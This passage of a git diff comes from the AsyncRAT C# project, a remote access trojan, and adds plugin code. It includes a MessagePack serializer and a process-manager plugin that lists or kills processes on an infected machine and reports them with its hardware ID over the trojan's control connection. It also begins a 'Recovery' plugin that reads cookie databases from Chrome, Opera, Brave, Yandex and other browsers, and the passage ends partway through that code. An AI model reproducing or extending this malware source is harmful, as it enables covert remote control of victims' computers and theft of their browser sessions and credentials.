DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Packet.cs similarity index 66% rename from AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs rename to AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Packet.cs index cd316ff..46d51fa 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Packet.cs @@ -1,40 +1,50 @@ -using Client.MessagePack; -using Client.Connection; +using Plugin.MessagePack; using System; +using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Linq; using System.Management; +using System.Runtime.InteropServices; using System.Text; +using System.Threading; -namespace Client.Handle_Packet +namespace Plugin { + public static class Packet + { + public static void Read(object data) + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "processManager": + { + switch (unpack_msgpack.ForcePathObject("Option").AsString) + { + case "List": + { + new HandleProcessManager().ProcessList(); + break; + } + + case "Kill": + { + new HandleProcessManager().ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); + break; + } + } + } + break; + } + } + } + public class HandleProcessManager { - public HandleProcessManager(MsgPack unpack_msgpack) - { - try - { - switch (unpack_msgpack.ForcePathObject("Option").AsString) - { - case "List": - { - ProcessList(); - break; - } - - case "Kill": - { - ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); - break; - } - } - } - catch { } - } - public void ProcessKill(int ID) { foreach (var process in Process.GetProcesses()) @@ -84,11 +94,13 @@ namespace Client.Handle_Packet } MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Message").AsString = sb.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } catch { } } } + } diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Plugin.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Plugin.cs new file mode 100644 index 0000000..9fec2d9 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Plugin.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ProcessManager.csproj b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ProcessManager.csproj new file mode 100644 index 0000000..b6aa5e1 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ProcessManager.csproj @@ -0,0 +1,56 @@ + + + + + Debug + AnyCPU + {D640C36B-2C66-449B-A145-EB98322A67C8} + Library + Properties + Plugin + ProcessManager + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..4dd7aaa --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("d640c36b-2c66-449b-a145-eb98322a67c8")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery.sln b/AsyncRAT-C#/Plugin/Recovery/Recovery.sln new file mode 100644 index 0000000..e468233 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Recovery", "Recovery\Recovery.csproj", "{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {1C926148-C492-48B3-8F82-7EBB235A9866} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/Chromium.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/Chromium.cs new file mode 100644 index 0000000..a982117 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/Chromium.cs @@ -0,0 +1,330 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using Plugin.Browsers.Chromium; + +namespace Plugin.Browsers.Chromium +{ + public class Chromium + { + + public void CookiesRecovery(StringBuilder Coocks) + { + try + { + foreach (string str in this.GetAppDataFolders()) + { + try + { + string[] browser = { + str + "\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", + str + "\\Roaming\\Opera Software\\Opera Stable\\Cookies", + str + "\\Local\\Vivaldi\\User Data\\Default\\Cookies", + str + "\\Local\\Chromium\\User Data\\Default\\Cookies", + str + "\\Local\\Torch\\User Data\\Default\\Cookies", + str + "\\Local\\Comodo\\Dragon\\User Data\\Default\\Cookies", + str + "\\Local\\Xpom\\User Data\\Default\\Cookies", + str + "\\Local\\Orbitum\\User Data\\Default\\Cookies", + str + "\\Local\\Kometa\\User Data\\Default\\Cookies", + str + "\\Local\\Amigo\\User Data\\Default\\Cookies", + str + "\\Local\\Nichrome\\User Data\\Default\\Cookies", + str + "\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", + str + "\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies", + str + "\\Local\\Blisk\\User Data\\Default\\Cookies" + }; + + int selected = 0; + foreach (string b in browser) + { + if (File.Exists(b)) + { + SQLiteHandler sqliteHandler = new SQLiteHandler(b); + try + { + sqliteHandler.ReadTable("cookies"); + } + catch + { + } + + switch (selected) + { + case 0: + Coocks.Append("\rtf1\ansi\n\n== Chrome ==========\b0\n"); + break; + case 1: + Coocks.Append("\n== Opera ===========\n"); + break; + case 2: + Coocks.Append("\n== Vivaldi ===========\n"); + break; + case 3: + Coocks.Append("\n== Chromium ===========\n"); + break; + case 4: + Coocks.Append("\n== Torch ===========\n"); + break; + case 5: + Coocks.Append("\n== Comodo ===========\n"); + break; + case 6: + Coocks.Append("\n== Xpom ===========\n"); + break; + case 7: + Coocks.Append("\n== Orbitum ===========\n"); + break; + case 8: + Coocks.Append("\n== Kometa ===========\n"); + break; + case 9: + Coocks.Append("\n== Amigo ===========\n"); + break; + case 10: + Coocks.Append("\n== Nichrome ===========\n"); + break; + case 11: + Coocks.Append("\n== Brave ===========\n"); + break; + case 12: + Coocks.Append("\n== Yandex ===========\n"); + break; + } + + //List ffcs = ChromiumCookies.Cookies(b); + //foreach (ChromiumCookies.ChromiumCookie 